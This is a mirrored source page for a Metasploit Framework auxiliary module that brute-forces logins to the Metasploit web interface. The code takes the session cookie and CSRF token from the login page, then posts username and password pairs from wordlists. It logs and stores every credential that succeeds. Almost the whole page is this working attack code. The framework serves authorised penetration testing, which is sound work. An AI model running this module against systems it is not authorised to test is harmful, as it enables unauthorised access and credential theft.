CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

CoCalc provides the best real-time collaborative environment for Jupyter Notebooks, LaTeX documents, and SageMath, scalable from individual users to large groups and classes!

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/auxiliary/scanner/msf/msf_web_login.rb
Views: 1904
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Auxiliary
7
include Msf::Exploit::Remote::HttpClient
8
include Msf::Auxiliary::Report
9
include Msf::Auxiliary::AuthBrute
10
11
include Msf::Auxiliary::Scanner
12
13
def initialize
14
super(
15
'Name' => 'Metasploit Web Interface Login Utility',
16
'Description' => %{
17
This module simply attempts to login to a Metasploit
18
web interface using a specific user/pass.
19
},
20
'Author' => [ 'Vlatko Kosturjak <kost[at]linux.hr>' ],
21
'License' => MSF_LICENSE,
22
'DefaultOptions' => { 'SSL' => true }
23
)
24
25
register_options(
26
[
27
Opt::RPORT(3790),
28
OptString.new('URILOGIN', [true, "URI for Metasploit Web login. Default is /login", "/login"]),
29
OptString.new('URIGUESS', [true, "URI for Metasploit Web login. Default is /user_sessions", "/user_sessions"]),
30
OptBool.new('BLANK_PASSWORDS', [false, "Try blank passwords for all users", false]),
31
])
32
33
register_autofilter_ports([55553])
34
end
35
36
def run_host(ip)
37
begin
38
res = send_request_cgi({
39
'uri' => datastore['URILOGIN'],
40
'method' => 'GET'
41
}, 25)
42
http_fingerprint({ :response => res })
43
rescue ::Rex::ConnectionError => e
44
vprint_error("#{datastore['URILOGIN']} - #{e}")
45
return
46
end
47
48
if not res
49
vprint_error(" #{datastore['URILOGIN']} - No response")
50
return
51
end
52
if !(res.code == 200 or res.code == 302)
53
vprint_error("Expected 200 HTTP code - not msf web? Got: #{res.code}")
54
return
55
end
56
if res.body !~ /<title>Metasploit<\/title>/
57
vprint_error("Expected metasploit page - not msf web interface? #{res.body}")
58
return
59
end
60
61
each_user_pass do |user, pass|
62
do_login(user, pass)
63
end
64
end
65
66
def do_login(user='msf', pass='msf')
67
vprint_status(" - Trying username:'#{user}' with password:'#{pass}'")
68
begin
69
res = send_request_cgi({
70
'uri' => datastore['URILOGIN'],
71
'method' => 'GET'
72
}, 25)
73
74
token = ''
75
uisession = ''
76
if res and res.code == 200 and !res.get_cookies.empty?
77
# extract tokens from cookie
78
res.get_cookies.split(';').each {|c|
79
c.split(',').each {|v|
80
if v.split('=')[0] =~ /token/
81
token = v.split('=')[1]
82
elsif v.split('=')[0] =~ /_ui_session/
83
uisession = v.split('=')[1]
84
end
85
}
86
}
87
# extract authenticity_token from hidden field
88
atoken = res.body.scan(/<input name="authenticity_token" type="hidden" value="(.*)"/).flatten[0]
89
90
if atoken.nil?
91
print_error("No auth token found")
92
return :abort
93
end
94
else
95
print_error("Failed to get login cookies, aborting")
96
return :abort
97
end
98
99
res = send_request_cgi(
100
{
101
'uri' => datastore['URIGUESS'],
102
'method' => 'POST',
103
'cookie' => "token=#{token}; _ui_session=#{uisession}",
104
'vars_post' =>
105
{
106
'commit' => 'Sign in',
107
'utf8' => "\xE2\x9C\x93",
108
'authenticity_token' => atoken,
109
'user_session[username]' => user,
110
'user_session[password]' => pass
111
}
112
}, 25)
113
114
if not res or res.code != 302
115
vprint_error("FAILED LOGIN. '#{user}' : '#{pass}' with code #{res.code}")
116
return :skip_pass
117
end
118
if res.headers['Location'] =~ /\/login/
119
vprint_error("FAILED LOGIN. '#{user}' : '#{pass}' with wrong redirect")
120
return :skip_pass
121
else
122
print_good("SUCCESSFUL LOGIN. '#{user}' : '#{pass}'")
123
124
report_cred(
125
ip: datastore['RHOST'],
126
port: datastore['RPORT'],
127
service_name: 'msf-web',
128
user: user,
129
password: pass,
130
proof: res.headers['Location']
131
)
132
return :next_user
133
end
134
rescue ::Rex::ConnectionError, Errno::ECONNREFUSED, Errno::ETIMEDOUT
135
print_error("HTTP Connection Failed, Aborting")
136
return :abort
137
end
138
end
139
140
def report_cred(opts)
141
service_data = {
142
address: opts[:ip],
143
port: opts[:port],
144
service_name: opts[:service_name],
145
protocol: 'tcp',
146
workspace_id: myworkspace_id
147
}
148
149
credential_data = {
150
origin_type: :service,
151
module_fullname: fullname,
152
username: opts[:user],
153
private_data: opts[:password],
154
private_type: :password
155
}.merge(service_data)
156
157
login_data = {
158
last_attempted_at: Time.now,
159
core: create_credential(credential_data),
160
status: Metasploit::Model::Login::Status::SUCCESSFUL,
161
proof: opts[:proof]
162
}.merge(service_data)
163
164
create_credential_login(login_data)
165
end
166
end
167
168